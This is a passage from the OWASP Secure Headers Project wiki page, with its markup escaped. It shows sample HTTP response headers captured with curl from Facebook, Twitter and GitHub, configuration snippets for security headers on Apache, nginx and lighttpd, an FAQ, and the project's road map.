Cache-Control: private, no-cache, no-store, must-revalidate&lt;br /&gt;
X-Frame-Options: DENY&lt;br /&gt;
expect-ct: max-age=10, report-uri=&amp;quot;http://reports.fb.com/expectct/&amp;quot;&lt;br /&gt;
Strict-Transport-Security: max-age=15552000; preload&lt;br /&gt;
X-Content-Type-Options: nosniff&lt;br /&gt;
Expires: Sat, 01 Jan 2000 00:00:00 GMT&lt;br /&gt;
Set-Cookie: fr=0Bf96eRMD0zCulvzh..BaCtgp.jl.AAA.0.0.BaCtgp.AWVGQojt; expires=Mon, 12-Feb-2018 11:48:57 GMT; Max-Age=7776000; path=/; domain=.facebook.com; secure; httponly&lt;br /&gt;
Set-Cookie: sb=KdgKWqMf8J84KfUg99AxaG1B; expires=Thu, 14-Nov-2019 11:48:57 GMT; Max-Age=63072000; path=/; domain=.facebook.com; secure; httponly&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Type: text/html; charset=UTF-8&lt;br /&gt;
X-FB-Debug: llncdeFRYCCoWkXqx2VCdUGtdHZvjsr6OA7JNrtEe18ZuZAqcKCH4km9SSkNTHIcuXmzwRMzyBQt0Uz7T6ltQg==&lt;br /&gt;
Date: Tue, 14 Nov 2017 11:48:57 GMT&lt;br /&gt;
Transfer-Encoding: chunked&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Twitter==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ curl -L -A &amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36&amp;quot; -s -D - https://www.twitter.com -o /dev/null&lt;br /&gt;
HTTP/1.1 301 Moved Permanently&lt;br /&gt;
content-length: 0&lt;br /&gt;
date: Tue, 14 Nov 2017 11:50:11 GMT&lt;br /&gt;
location: https://twitter.com/&lt;br /&gt;
server: tsa_d&lt;br /&gt;
set-cookie: personalization_id=&amp;quot;v1_nyz+ctxxDiBbh4s6VjzQIg==&amp;quot;; Expires=Thu, 14 Nov 2019 11:50:11 UTC; Path=/; Domain=.twitter.com&lt;br /&gt;
set-cookie: guest_id=v1%3A151066021116455299; Expires=Thu, 14 Nov 2019 11:50:11 UTC; Path=/; Domain=.twitter.com&lt;br /&gt;
strict-transport-security: max-age=631138519&lt;br /&gt;
x-connection-hash: d9a9eea848268dae67e7743d5bfd2dd5&lt;br /&gt;
x-response-time: 135&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
cache-control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0&lt;br /&gt;
content-length: 345977&lt;br /&gt;
content-security-policy: script-src https://connect.facebook.net https://cm.g.doubleclick.net https://ssl.google-analytics.com https://graph.facebook.com 'nonce-f/+1f61E6Z0qq8p+L4UIQw==' https://twitter.com 'unsafe-eval' https://*.twimg.com https://api.twitter.com https://analytics.twitter.com https://publish.twitter.com https://ton.twitter.com https://syndication.twitter.com https://www.google.com https://t.tellapart.com https://platform.twitter.com https://www.google-analytics.com blob: 'self'; frame-ancestors 'self'; font-src https://twitter.com https://*.twimg.com data: https://ton.twitter.com https://fonts.gstatic.com https://maxcdn.bootstrapcdn.com https://netdna.bootstrapcdn.com 'self'; media-src https://rmpdhdsnappytv-vh.akamaihd.net https://prod-video-eu-central-1.pscp.tv https://v.cdn.vine.co https://dwo3ckksxlb0v.cloudfront.net https://twitter.com https://amp.twimg.com https://smmdhdsnappytv-vh.akamaihd.net https://*.twimg.com https://prod-video-eu-west-1.pscp.tv https://rmmdhdsnappytv-vh.akamaihd.net https://prod-video-us-west-2.pscp.tv https://prod-video-us-west-1.pscp.tv https://prod-video-ap-northeast-1.pscp.tv https://smdhdsnappytv-vh.akamaihd.net https://ton.twitter.com https://rmdhdsnappytv-vh.akamaihd.net https://mmdhdsnappytv-vh.akamaihd.net https://smpdhdsnappytv-vh.akamaihd.net https://prod-video-sa-east-1.pscp.tv https://mdhdsnappytv-vh.akamaihd.net https://prod-video-ap-southeast-2.pscp.tv https://mtc.cdn.vine.co https://dev-video-us-west-2.pscp.tv https://prod-video-us-east-1.pscp.tv blob: 'self' https://prod-video-ap-southeast-1.pscp.tv https://mpdhdsnappytv-vh.akamaihd.net https://dev-video-eu-west-1.pscp.tv; connect-src https://rmpdhdsnappytv-vh.akamaihd.net https://prod-video-eu-central-1.pscp.tv https://graph.facebook.com https://*.giphy.com https://dwo3ckksxlb0v.cloudfront.net https://vmaprel.snappytv.com https://smmdhdsnappytv-vh.akamaihd.net https://*.twimg.com https://embed.pscp.tv https://api.twitter.com https://prod-video-eu-west-1.pscp.tv https://rmmdhdsnappytv-vh.akamaihd.net https://prod-video-us-west-2.pscp.tv https://pay.twitter.com https://prod-video-us-west-1.pscp.tv https://analytics.twitter.com https://vmap.snappytv.com https://*.twprobe.net https://prod-video-ap-northeast-1.pscp.tv https://smdhdsnappytv-vh.akamaihd.net https://syndication.twitter.com https://sentry.io https://rmdhdsnappytv-vh.akamaihd.net https://media.riffsy.com https://mmdhdsnappytv-vh.akamaihd.net https://embed.periscope.tv https://smpdhdsnappytv-vh.akamaihd.net https://prod-video-sa-east-1.pscp.tv https://vmapstage.snappytv.com https://upload.twitter.com https://proxsee.pscp.tv https://mdhdsnappytv-vh.akamaihd.net https://prod-video-ap-southeast-2.pscp.tv https://dev-video-us-west-2.pscp.tv https://prod-video-us-east-1.pscp.tv 'self' https://vmap.grabyo.com https://prod-video-ap-southeast-1.pscp.tv https://mpdhdsnappytv-vh.akamaihd.net https://dev-video-eu-west-1.pscp.tv; style-src https://fonts.googleapis.com https://twitter.com https://*.twimg.com https://translate.googleapis.com https://ton.twitter.com 'unsafe-inline' https://platform.twitter.com https://maxcdn.bootstrapcdn.com https://netdna.bootstrapcdn.com 'self'; object-src https://twitter.com https://pbs.twimg.com; default-src 'self'; frame-src https://staticxx.facebook.com https://twitter.com https://*.twimg.com https://5415703.fls.doubleclick.net https://player.vimeo.com https://pay.twitter.com https://www.facebook.com https://ton.twitter.com https://syndication.twitter.com https://vine.co twitter: https://www.youtube.com https://platform.twitter.com https://upload.twitter.com https://s-static.ak.facebook.com https://4337974.fls.doubleclick.net https://8122179.fls.doubleclick.net 'self' https://donate.twitter.com; img-src https://prod-video-eu-central-1.pscp.tv https://prod-profile.pscp.tv https://graph.facebook.com https://prod-thumbnail.pscp.tv https://*.giphy.com https://twitter.com https://*.twimg.com https://ad.doubleclick.net https://prod-video-eu-west-1.pscp.tv data: https://prod-video-us-west-2.pscp.tv https://prod-video-us-west-1.pscp.tv https://prod-video-ap-northeast-1.pscp.tv https://lumiere-a.akamaihd.net https://fbcdn-profile-a.akamaihd.net https://www.facebook.com https://ton.twitter.com https://*.fbcdn.net https://syndication.twitter.com https://media.riffsy.com https://www.google.com https://prod-profile.periscope.tv https://prod-video-sa-east-1.pscp.tv https://stats.g.doubleclick.net https://platform.twitter.com https://prod-video-ap-southeast-2.pscp.tv https://api.mapbox.com https://www.google-analytics.com https://dev-video-us-west-2.pscp.tv https://prod-video-us-east-1.pscp.tv blob: https://prod-thumbnail-small.pscp.tv https://prod-thumbnail-small.periscope.tv 'self' https://prod-thumbnail.periscope.tv https://prod-video-ap-southeast-1.pscp.tv https://dev-video-eu-west-1.pscp.tv; report-uri https://twitter.com/i/csp_report?a=NVQWGYLXFVZXO2LGOQ%3D%3D%3D%3D%3D%3D&amp;amp;ro=false;&lt;br /&gt;
content-type: text/html;charset=utf-8&lt;br /&gt;
date: Tue, 14 Nov 2017 11:50:11 GMT&lt;br /&gt;
expires: Tue, 31 Mar 1981 05:00:00 GMT&lt;br /&gt;
last-modified: Tue, 14 Nov 2017 11:50:11 GMT&lt;br /&gt;
pragma: no-cache&lt;br /&gt;
server: tsa_d&lt;br /&gt;
set-cookie: fm=0; Expires=Tue, 14 Nov 2017 11:50:02 UTC; Path=/; Domain=.twitter.com; Secure; HTTPOnly&lt;br /&gt;
set-cookie: _twitter_sess=BAh7CSIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo%250ASGFzaHsABjoKQHVzZWR7ADoPY3JlYXRlZF9hdGwrCMOCXbpfAToMY3NyZl9p%250AZCIlOTk3MjYzYzc1NDhkOTA1ZTlhZTIyNGE2Zjk5Nzg0NTk6B2lkIiU0ODIw%250AZWRkNjc4Njg2M2IzYmI3ZTA3N2YxMTA4YzE5Nw%253D%253D--7abf7eef950088f9f728686ce29881ef501487dd; Path=/; Domain=.twitter.com; Secure; HTTPOnly&lt;br /&gt;
set-cookie: personalization_id=&amp;quot;v1_rrHzrB5h0Qs1Oz4uhOjFJg==&amp;quot;; Expires=Thu, 14 Nov 2019 11:50:11 UTC; Path=/; Domain=.twitter.com&lt;br /&gt;
set-cookie: guest_id=v1%3A151066021139105511; Expires=Thu, 14 Nov 2019 11:50:11 UTC; Path=/; Domain=.twitter.com&lt;br /&gt;
set-cookie: ct0=ba98c8a6cb4c664151a98c8bd9eb4b4d; Expires=Tue, 14 Nov 2017 17:50:11 UTC; Path=/; Domain=.twitter.com; Secure&lt;br /&gt;
status: 200 OK&lt;br /&gt;
strict-transport-security: max-age=631138519&lt;br /&gt;
x-connection-hash: 769f9dcd87b9274776136b99b3181a44&lt;br /&gt;
x-content-type-options: nosniff&lt;br /&gt;
x-frame-options: SAMEORIGIN&lt;br /&gt;
x-response-time: 359&lt;br /&gt;
x-transaction: 007d216900cbc2ad&lt;br /&gt;
x-twitter-response-tags: BouncerCompliant&lt;br /&gt;
x-ua-compatible: IE=edge,chrome=1&lt;br /&gt;
x-xss-protection: 1; mode=block&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Github==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ curl -L -A &amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36&amp;quot; -s -D - https://www.github.com -o /dev/null&lt;br /&gt;
HTTP/1.1 301 Moved Permanently&lt;br /&gt;
Content-length: 0&lt;br /&gt;
Location: https://github.com/&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: GitHub.com&lt;br /&gt;
Date: Tue, 14 Nov 2017 11:51:27 GMT&lt;br /&gt;
Content-Type: text/html; charset=utf-8&lt;br /&gt;
Transfer-Encoding: chunked&lt;br /&gt;
Status: 200 OK&lt;br /&gt;
Cache-Control: no-cache&lt;br /&gt;
Vary: X-PJAX&lt;br /&gt;
X-UA-Compatible: IE=Edge,chrome=1&lt;br /&gt;
Set-Cookie: logged_in=no; domain=.github.com; path=/; expires=Sat, 14 Nov 2037 11:51:27 -0000; secure; HttpOnly&lt;br /&gt;
Set-Cookie: _gh_sess=eyJzZXNzaW9uX2lkIjoiODI5ZGZjZDhlZDFlMjBjZTBhMTljMjk5ZDU1ZDBlODgiLCJsYXN0X3JlYWRfZnJvbV9yZXBsaWNhcyI6MTUxMDY2MDI4NzMxNywiX2NzcmZfdG9rZW4iOiIvTjkya2RHLzJJN2dtbU12eWQ3UGJDeTJ0aU1tZHJrci8wVzlpMi9yajFZPSJ9--5920790d2e11e8d4a32177a14ac25fae6e8f9789; path=/; secure; HttpOnly&lt;br /&gt;
X-Request-Id: b31804a05047fd1326fe28cf3d6f33aa&lt;br /&gt;
X-Runtime: 0.036845&lt;br /&gt;
Expect-CT: max-age=2592000, report-uri=&amp;quot;https://api.github.com/_private/browser/errors&amp;quot;&lt;br /&gt;
Content-Security-Policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src render.githubusercontent.com; connect-src 'self' uploads.github.com status.github.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src assets-cdn.github.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; img-src 'self' data: assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com; media-src 'none'; script-src assets-cdn.github.com; style-src 'unsafe-inline' assets-cdn.github.com&lt;br /&gt;
Strict-Transport-Security: max-age=31536000; includeSubdomains; preload&lt;br /&gt;
Public-Key-Pins: max-age=0; pin-sha256=&amp;quot;WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18=&amp;quot;; pin-sha256=&amp;quot;RRM1dGqnDFsCJXBTHky16vi1obOlCgFFn/yOhI/y+ho=&amp;quot;; pin-sha256=&amp;quot;k2v657xBsOVe1PQRwOsHsw3bsGT2VzIqz5K+59sNQws=&amp;quot;; pin-sha256=&amp;quot;K87oWBWM9UZfyddvDfoxL+8lpNyoUB2ptGtn0fv6G2Q=&amp;quot;; pin-sha256=&amp;quot;IQBnNBEiFuhj+8x6X8XLgh01V9Ic5/V3IRQLNFFc7v4=&amp;quot;; pin-sha256=&amp;quot;iie1VXtL7HzAMF+/PVPR9xzT80kQxdZeJ+zduCB3uj0=&amp;quot;; pin-sha256=&amp;quot;LvRiGEjRqfzurezaWuj8Wie2gyHMrW5Q06LspMnox7A=&amp;quot;; includeSubDomains&lt;br /&gt;
X-Content-Type-Options: nosniff&lt;br /&gt;
X-Frame-Options: deny&lt;br /&gt;
X-XSS-Protection: 1; mode=block&lt;br /&gt;
X-Runtime-rack: 0.043225&lt;br /&gt;
X-GitHub-Request-Id: 9AB0:25783:6A523:B814E:5A0AD8BE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Best Practices=&lt;br /&gt;
&lt;br /&gt;
Please note the best practices below suggest methods to change webserver configuration to add headers. Security headers can also be successfully added to your application at the software level as well in almost every web language. Many web frameworks add some of these headers automatically.&lt;br /&gt;
&lt;br /&gt;
==Response Headers==&lt;br /&gt;
&lt;br /&gt;
* [[#hsts_bp | HTTP Strict Transport Security (HSTS)]]&lt;br /&gt;
* [[#hpkp_bp | Public Key Pinning Extension for HTTP (HPKP)]]&lt;br /&gt;
* [[#xfo_bp | X-Frame-Options]]&lt;br /&gt;
* [[#xxxsp_bp | X-XSS-Protection]]&lt;br /&gt;
* [[#xcto_bp | X-Content-Type-Options]]&lt;br /&gt;
* [[#csp_bp | Content-Security-Policy]]&lt;br /&gt;
* [[#xpcdp_bp | X-Permitted-Cross-Domain-Policies]]&lt;br /&gt;
* [[#rp_bp | Referrer-Policy]]&lt;br /&gt;
&lt;br /&gt;
==&amp;lt;div id=&amp;quot;hsts_bp&amp;quot;&amp;gt;HTTP Strict Transport Security (HSTS)&amp;lt;/div&amp;gt;==&lt;br /&gt;
&lt;br /&gt;
* Apache&lt;br /&gt;
:Edit your apache configuration file and add the following to your VirtualHost.&amp;lt;br&amp;gt;&lt;br /&gt;
::&amp;lt;code&amp;gt;Header always set Strict-Transport-Security &amp;quot;max-age=63072000; includeSubdomains&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* nginx&lt;br /&gt;
:Edit your nginx configuration file and add the following snippet.&amp;lt;br&amp;gt;&lt;br /&gt;
::&amp;lt;code&amp;gt;add_header Strict-Transport-Security &amp;quot;max-age=63072000; includeSubdomains&amp;quot;;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* lighttpd&lt;br /&gt;
:Edit your lighttpd configuration file and add the following snippet.&amp;lt;br&amp;gt;&lt;br /&gt;
::&amp;lt;code&amp;gt;setenv.add-response-header = (&amp;quot;Strict-Transport-Security&amp;quot; =&amp;gt; &amp;quot;max-age=63072000; includeSubdomains&amp;quot;,)&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* IIS&lt;br /&gt;
:Visit https://scotthelme.co.uk/hardening-your-http-response-headers/#strict-transport-security&lt;br /&gt;
&lt;br /&gt;
==&amp;lt;div id=&amp;quot;hpkp_bp&amp;quot;&amp;gt;Public Key Pinning Extension for HTTP (HPKP)&amp;lt;/div&amp;gt;==&lt;br /&gt;
&lt;br /&gt;
* Apache&lt;br /&gt;
:Edit your apache configuration file and add the following to your VirtualHost.&amp;lt;br&amp;gt;&lt;br /&gt;
::&amp;lt;code&amp;gt;Header set Public-Key-Pins &amp;quot;pin-sha256=\&amp;quot;klO23nT2ehFDXCfx3eHTDRESMz3asj1muO+4aIdjiuY=\&amp;quot;; pin-sha256=\&amp;quot;633lt352PKRXbOwf4xSEa1M517scpD3l5f79xMD9r9Q=\&amp;quot;; max-age=2592000; includeSubDomains&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* nginx&lt;br /&gt;
:Edit your nginx configuration file and add the following snippet.&amp;lt;br&amp;gt;&lt;br /&gt;
::&amp;lt;code&amp;gt;add_header Public-Key-Pins &amp;quot;pin-sha256=\&amp;quot;klO23nT2ehFDXCfx3eHTDRESMz3asj1muO+4aIdjiuY=\&amp;quot;; pin-sha256=\&amp;quot;633lt352PKRXbOwf4xSEa1M517scpD3l5f79xMD9r9Q=\&amp;quot;; max-age=2592000; includeSubDomains&amp;quot;;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* lighttpd&lt;br /&gt;
:Edit your lighttpd configuration file and add the following snippet.&amp;lt;br&amp;gt;&lt;br /&gt;
::&amp;lt;code&amp;gt;setenv.add-response-header = (&amp;quot;Public-Key-Pins&amp;quot; =&amp;gt; &amp;quot;pin-sha256=\&amp;quot;klO23nT2ehFDXCfx3eHTDRESMz3asj1muO+4aIdjiuY=\&amp;quot;; pin-sha256=\&amp;quot;633lt352PKRXbOwf4xSEa1M517scpD3l5f79xMD9r9Q=\&amp;quot;; max-age=2592000; includeSubDomains&amp;quot;,)&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* IIS&lt;br /&gt;
:Visit https://scotthelme.co.uk/hardening-your-http-response-headers/#public-key-pinning&lt;br /&gt;
&lt;br /&gt;
==&amp;lt;div id=&amp;quot;xfo_bp&amp;quot;&amp;gt;X-Frame-Options&amp;lt;/div&amp;gt;==&lt;br /&gt;
&lt;br /&gt;
* Apache&lt;br /&gt;
:Add this line below into your site's configuration to configure Apache to send X-Frame-Options header for all pages.&amp;lt;br&amp;gt;&lt;br /&gt;
::&amp;lt;code&amp;gt;Header set X-Frame-Options &amp;quot;DENY&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* nginx&lt;br /&gt;
:Add snippet below into configuration file to send X-Frame-Options header.&amp;lt;br&amp;gt;&lt;br /&gt;
::&amp;lt;code&amp;gt;add_header X-Frame-Options &amp;quot;DENY&amp;quot;;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* lighttpd&lt;br /&gt;
:Add snippet below into configuration file to send X-Frame-Options header.&amp;lt;br&amp;gt;&lt;br /&gt;
::&amp;lt;code&amp;gt;setenv.add-response-header = (&amp;quot;X-Frame-Options&amp;quot; =&amp;gt; &amp;quot;DENY&amp;quot;,)&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* IIS&lt;br /&gt;
:Visit https://scotthelme.co.uk/hardening-your-http-response-headers/#x-frame-options&lt;br /&gt;
&lt;br /&gt;
==&amp;lt;div id=&amp;quot;xxxsp_bp&amp;quot;&amp;gt;X-XSS-Protection&amp;lt;/div&amp;gt;==&lt;br /&gt;
&lt;br /&gt;
Add appropriate snippet into configuration file.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Apache&lt;br /&gt;
:&amp;lt;code&amp;gt;Header set X-XSS-Protection &amp;quot;1; mode=block&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* nginx&lt;br /&gt;
:&amp;lt;code&amp;gt;add_header X-XSS-Protection &amp;quot;1;mode=block&amp;quot;;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* lighttpd&lt;br /&gt;
:&amp;lt;code&amp;gt;setenv.add-response-header = (&amp;quot;X-XSS-Protection&amp;quot; =&amp;gt; &amp;quot;1; mode=block&amp;quot;,)&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* IIS&lt;br /&gt;
:Visit https://scotthelme.co.uk/hardening-your-http-response-headers/#x-xss-protection&lt;br /&gt;
&lt;br /&gt;
==&amp;lt;div id=&amp;quot;xcto_bp&amp;quot;&amp;gt;X-Content-Type-Options&amp;lt;/div&amp;gt;==&lt;br /&gt;
&lt;br /&gt;
Add appropriate snippet into configuration file.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Apache&lt;br /&gt;
:&amp;lt;code&amp;gt;Header set X-Content-Type-Options &amp;quot;nosniff&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* nginx&lt;br /&gt;
:&amp;lt;code&amp;gt;add_header X-Content-Type-Options &amp;quot;nosniff&amp;quot;;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* lighttpd&lt;br /&gt;
:&amp;lt;code&amp;gt;setenv.add-response-header = (&amp;quot;X-Content-Type-Options&amp;quot; =&amp;gt; &amp;quot;nosniff&amp;quot;,)&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* IIS&lt;br /&gt;
:Visit https://scotthelme.co.uk/hardening-your-http-response-headers/#x-content-type-options&lt;br /&gt;
&lt;br /&gt;
==&amp;lt;div id=&amp;quot;csp_bp&amp;quot;&amp;gt;Content-Security-Policy&amp;lt;/div&amp;gt;==&lt;br /&gt;
&lt;br /&gt;
Add appropriate snippet into configuration file.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Apache&lt;br /&gt;
:&amp;lt;code&amp;gt;Header set Content-Security-Policy &amp;quot;script-src 'self'; object-src 'self'&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* nginx&lt;br /&gt;
:&amp;lt;code&amp;gt;add_header Content-Security-Policy &amp;quot;script-src 'self'; object-src 'self'&amp;quot;;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* lighttpd&lt;br /&gt;
:&amp;lt;code&amp;gt;setenv.add-response-header = (&amp;quot;Content-Security-Policy&amp;quot; =&amp;gt; &amp;quot;script-src 'self'; object-src 'self'&amp;quot;,)&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* IIS&lt;br /&gt;
:Visit https://scotthelme.co.uk/hardening-your-http-response-headers/#content-security-policy&lt;br /&gt;
&lt;br /&gt;
==&amp;lt;div id=&amp;quot;xpcdp_bp&amp;quot;&amp;gt;X-Permitted-Cross-Domain-Policies&amp;lt;/div&amp;gt;==&lt;br /&gt;
&lt;br /&gt;
Add appropriate snippet into configuration file.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Apache&lt;br /&gt;
:&amp;lt;code&amp;gt;Header set X-Permitted-Cross-Domain-Policies &amp;quot;none&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* nginx&lt;br /&gt;
:&amp;lt;code&amp;gt;add_header X-Permitted-Cross-Domain-Policies &amp;quot;none&amp;quot;;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* lighttpd&lt;br /&gt;
:&amp;lt;code&amp;gt;setenv.add-response-header = (&amp;quot;X-Permitted-Cross-Domain-Policies&amp;quot; =&amp;gt; &amp;quot;none&amp;quot;,)&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* IIS&lt;br /&gt;
:[update needed]&lt;br /&gt;
&lt;br /&gt;
==&amp;lt;div id=&amp;quot;rp_bp&amp;quot;&amp;gt;Referrer-Policy&amp;lt;/div&amp;gt;==&lt;br /&gt;
&lt;br /&gt;
* Apache&lt;br /&gt;
:[update needed]&lt;br /&gt;
&lt;br /&gt;
* nginx&lt;br /&gt;
:[update needed]&lt;br /&gt;
&lt;br /&gt;
* lighttpd&lt;br /&gt;
:[update needed]&lt;br /&gt;
&lt;br /&gt;
* IIS&lt;br /&gt;
:[update needed]&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
; What is HTTP header?&lt;br /&gt;
: HTTP header fields are part of HTTP message defined in RFC 2616 that consists of requests from client to server and responses from server to client that define parameters for the communication process including: language, compression support, security and a lot of resources.&lt;br /&gt;
&lt;br /&gt;
; Is there a standard for HTTP headers?&lt;br /&gt;
: A core set of fields is standardized by the Internet Engineering Task Force (IETF) in RFCs 7230, 7231, 7232, 7233, 7234, and 7235. The permanent registry of header fields and repository of provisional registrations are maintained by the IANA. Additional field names and permissible values may be defined by each application. Non-standard header fields were conventionally marked by prefixing the field name with X- but this convention was deprecated in June 2012 because of the inconveniences it caused when non-standard fields became standard. An earlier restriction on use of Downgraded- was lifted in March 2013.&lt;br /&gt;
&lt;br /&gt;
; Why I need worry about that?&lt;br /&gt;
: Like other initiatives supported by OWASP, this project have the objetive to help all community to conceive, develop, acquire, operate and maintain applications that can be trusted as provide useful information about the use relative of secure http headers by applications and platforms supported.&lt;br /&gt;
&lt;br /&gt;
; Where can apply secure features presented by this project?&lt;br /&gt;
: The effectiveness provides by secure http headers demands that application or some component of infrastructure indicate proper header and correspondent value as like use of some client that implement that feature.&lt;br /&gt;
&lt;br /&gt;
; When I consider apply this improvements?&lt;br /&gt;
: The short response it's right now. However we believe in approach more responsible. So we recommend conducting a planning and preliminary study, as well the incremental inclusion of insurance headers. &lt;br /&gt;
&lt;br /&gt;
: Headers like: [https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning#HTTP_pinning Public Key Pinning Extension for HTTP (HPKP)], [https://www.owasp.org/index.php/HTTP_Strict_Transport_Security HTTP Strict Transport Security (HSTS)] and [https://www.owasp.org/index.php/Content_Security_Policy Content Security Policy (CSP)] need a special attention in order not to cause any incident. Some real cases about to use of secure headers can be seen:&lt;br /&gt;
&lt;br /&gt;
: - [http://news.netcraft.com/archives/2016/03/22/secure-websites-shun-http-public-key-pinning.html Secure websites shun HTTP Public Key Pinning]&lt;br /&gt;
: - [http://news.netcraft.com/archives/2016/03/30/http-public-key-pinning-youre-doing-it-wrong.html HTTP Public Key Pinning: You’re doing it wrong!]&lt;br /&gt;
: - [https://blogs.dropbox.com/tech/2015/09/on-csp-reporting-and-filtering/ CSP On Reporting and Filtering]&lt;br /&gt;
: - [https://developer.chrome.com/extensions/contentSecurityPolicy Content Security Policy (CSP)]&lt;br /&gt;
&lt;br /&gt;
; Who can be responsible to apply secure features?&lt;br /&gt;
: The responsability to provides more secure environment it's a effort that envolve developers, system administrators, vendors of web browsers and end user.&lt;br /&gt;
&lt;br /&gt;
: Like this the success of secure headers strategy depends of proper client, in general a web browser, and web application or some infrastructure component configured appropriately.&lt;br /&gt;
&lt;br /&gt;
; How can I apply secure http headers?&lt;br /&gt;
: The use of secure headers can occur directly through of handling http response headers or using some framework, in addition to conducting appropriate configuration in web server.&lt;br /&gt;
&lt;br /&gt;
: The OWASP: Secure Headers project provides a list of resources and examples to help understand, analyze and configure secure headers.&lt;br /&gt;
&lt;br /&gt;
; What's the costs relative to apply this actions?&lt;br /&gt;
: There's no costs in to use secure headers. However some effort to configure and manage properly configuration will be necessary.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
OWASP Secure Headers Project is developed by a worldwide team of volunteers. The primary contributors to date have been:&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Riramar Ricardo Iramar]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico]&lt;br /&gt;
* [https://www.owasp.org/index.php/Special:Contributions/Amenezes Alexandre Menezes]&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
Involvement in the development and promotion of OWASP Secure Headers Project is actively encouraged!&lt;br /&gt;
You do not have to be a security expert in order to contribute.&lt;br /&gt;
If you want to help send an email to [mailto:ricardo.iramar@owasp.org ricardo.iramar@owasp.org].&lt;br /&gt;
&lt;br /&gt;
== To Do ==&lt;br /&gt;
&lt;br /&gt;
* Perform public to scan websites and view stats regarding these headers. Automated scanning of the top 1m sites on the web; filtering of said sites to view stats across industries and countries; published database dumps for public consumption/tools; scanning of individual sites; comparing multiple scanned sites.&lt;br /&gt;
* Consistent reports regarding this secure headers, their usage, any changes to existing headers.&lt;br /&gt;
* Reorganize &amp;quot;Best Practices&amp;quot; tab and include a section for related security best practices around headers (e.g. &amp;quot;Remove Server Header&amp;quot; and &amp;quot;Remove X-Powered-By Header&amp;quot;.&lt;br /&gt;
* Create a parser to grab the headers from https://scans.io and populate the MySQL database.&lt;br /&gt;
&lt;br /&gt;
== Doing ==&lt;br /&gt;
&lt;br /&gt;
* Producing open source, easily implemented, well documented code libraries that enable these headers for a variety of platforms. We'll prioritize creating and publicizing Node.JS, PHP, Ruby, and Java, but will eventually reach out towards edge cases like Go, Python and others. The key is to make this accessible as possible to developers.&lt;br /&gt;
* Including how to set properly secure headers on IIS.&lt;br /&gt;
* Improve constantly hsecscan tool to detect bad practices and provide link to the best practices above.&lt;br /&gt;
&lt;br /&gt;
== Done ==&lt;br /&gt;
&lt;br /&gt;
* Creating secure best practices implementations including how to set properly secure headers on the most common platforms (eg. Apache, NGINX and Lighttpd).&lt;br /&gt;
